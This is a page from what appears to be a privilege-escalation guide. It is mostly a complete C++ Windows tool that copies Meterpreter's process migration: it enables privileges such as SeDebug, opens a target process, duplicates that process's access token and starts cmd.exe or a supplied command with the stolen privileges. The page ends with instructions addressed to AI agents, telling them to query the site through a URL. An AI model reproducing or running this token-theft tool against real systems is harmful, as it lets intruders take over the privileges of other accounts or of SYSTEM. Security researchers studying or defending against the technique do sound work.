# Process migration like meterpreter

Those are some of the things the code is doing:

* Check if the **migrate.exe** process is running with the privileges of the **“nt authority\system”** user. We need it for future impersonation functionality.
* Open Handle to the wanted process (*this is the PID of the process we want to steal the privilege tokens from*).
* Duplicate their tokens (*privileges in windows system was managed by tokens*).
* If the duplication was successful it tries to run new process by using these duplicated tokens.

```
#include <windows.h>
#include <wchar.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>

using namespace std; 

void usage(char *name)

{
       cout << "(-) Ex.: " << name << " <PID>  :: for open cmd.exe with new privilages.\n";
       cout << "(-) Ex.: " << name << " <PID> \"<command>\" :: for execute command by priveleges of requested PID.\n";
} 

BOOL SetPrivilege(HANDLE hToken,          // access token handle
                  LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
                  BOOL bEnablePrivilege   // to enable or disable privilege )

{
       TOKEN_PRIVILEGES tp;
       LUID luid;

       if (!LookupPrivilegeValue(
              NULL,            // lookup privilege on local system
              lpszPrivilege,   // privilege to lookup
              &luid))        // receives LUID of privilege

       {
              printf("\t(-) LookupPrivilegeValue error: %u\n", GetLastError());
              return FALSE;
       }

 
       tp.PrivilegeCount = 1;
       tp.Privileges[0].Luid = luid;
       if (bEnablePrivilege)
              tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
       else
              tp.Privileges[0].Attributes = 0;

       // Enable the privilege or disable all privileges.
       if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
       {
              printf("\t(-) AdjustTokenPrivileges error: %u\n", GetLastError());
              return FALSE;
       }

       if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 
       {
              printf("\t(-) The token does not have the specified privilege. ");
              return FALSE;
       }

       return TRUE;
}


BOOL check()
{
       BOOL result = TRUE;
       BOOL bResult;
       HANDLE fhToken;
       LUID fLuid;
       PRIVILEGE_SET privs;
       OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &fhToken);
       wchar_t *cPrivs[] = { L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege" };
       for (int i = 0; i < 2; i++)
       {
              if (!LookupPrivilegeValue(
                      NULL,                               // lookup privilege on local system
                      (LPCTSTR)cPrivs[i],                // privilege to lookup
                      &fLuid))                          // receives LUID of privilege
                      {
                             printf("LookupPrivilegeValue error: %u\n", GetLastError());
                             ExitProcess(0);
                      }

              privs.PrivilegeCount = 1;
              privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
              privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
              privs.Privilege[0].Luid = fLuid;
              PrivilegeCheck(fhToken, &privs, &bResult);
              if (!bResult)
                      {
                             wprintf(L"\t(-) The process dosn't have the %s\n\n", cPrivs[i]);
                             result = FALSE;
                      }
       }
       return result;
}


int main(int argc, char *argv[])
{
       DWORD flag;
       if (argc <= 1 || argc >= 4)
       {
              usage(argv[0]);
              exit(0);
       }

       char *command;
       if (argc > 2)
       {
              command = argv[2];
              flag = CREATE_NO_WINDOW;
       }

       else
       {
              command = "cmd.exe";
              flag = 0;
       }

       DWORD pid = atoi(argv[1]);
       cout << "\n[***] Starting the migrate functionality, requested PID => " << pid << " [***]\n";
       cout << "(!) Check if the process have an required permissions...\n";
       Sleep(1000);

       if (!check())
       {
              cout << "(!) Trying to set the necessary privileges.\n";
              HANDLE currentProcessToken;
              OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentProcessToken);
              wchar_t *privs[9] = {L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege", L"SeCreateGlobalPrivilege", L"SeDebugPrivilege", L"SeImpersonatePrivilege", L"SeIncreaseQuotaPrivilege", L"SeProfileSingleProcessPrivilege", L"SeSecurityPrivilege", L"SeSystemEnvironmentPrivilege"};
              for (int i = 0; i < 9; i++)
              {
                      if (!SetPrivilege(currentProcessToken, privs[i], true))
                      {
                             wprintf(L"Access denied to set %s \n", privs[i]);
                             cout << "\t(-) You does not have the specified privilege. Migration aborted.\n";
                             ExitProcess(0);
                      }
              }
       }
       cout << "\t(+) All required Permissions was successfull granted.\n\n";  
    
       cout << "(!) Trying to open Handel for requested PID.\n";
       Sleep(1000);
       HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
       if (!hProcess) {
              cout << "\t(-) Can not open handle for requested PID";
              ExitProcess(0);
       }
       cout << "\t(+) The HANDLE was created success.\n\n";

       cout << "(!) Try to Duplicte existen tokens of the requested PID " << pid << "\n";
       HANDLE NewTokens;
       if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &NewTokens))
       {
              cout << "\t(-) Denied to handle Process Tokens\n";
              ExitProcess(0);
       }
       cout << "\t(+) Extracting tokens was successfull\n";
       Sleep(500);

       HANDLE hPrimaryToken;
       if (!DuplicateTokenEx(NewTokens, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken))
       {
              cout << "\t(-) Denied to Duplicate process Tokens\n";
       }
       cout << "\t(+) Duplicate tokens was successfull\n\n";
       Sleep(1000);

       cout << "(!) Try to execute new process with duplicated tokens.\n";
       STARTUPINFO si;
       PROCESS_INFORMATION pi;
       ZeroMemory(&si, sizeof(si));
       si.cb = sizeof(si);
       si.lpDesktop = L"WinSta0\\Default"; //window station and desktop of interactive user
       ZeroMemory(&pi, sizeof(pi));
       wchar_t cmd[500];
       swprintf_s(cmd, L"cmd.exe /c %hs", command);
       Sleep(500);

       if (!CreateProcessWithTokenW(hPrimaryToken, 0x00000001, NULL, (LPWSTR)cmd, flag, NULL, NULL, &si, &pi))
       {
              cout << "\t(-) Somthing went wrong!!! \n\t";
              printf("     -Can't create new process with Extracted tokens, got error: %u\n", GetLastError());
              ExitProcess(0);

       }
       cout << "[***] We successfuly Migrated to requested PID. [***]\n";

       if (command != argv[2])
       {
              cout << "[***] The CMD console with new privilages was opened. [***]\n";
       }

       else
       {
              cout << "[***] Command was executed succesfully!!! [***]";
       }
       return 0;

}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.seguranca-informatica.pt/privilege-escalation-privesc/process-migration-like-meterpreter.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
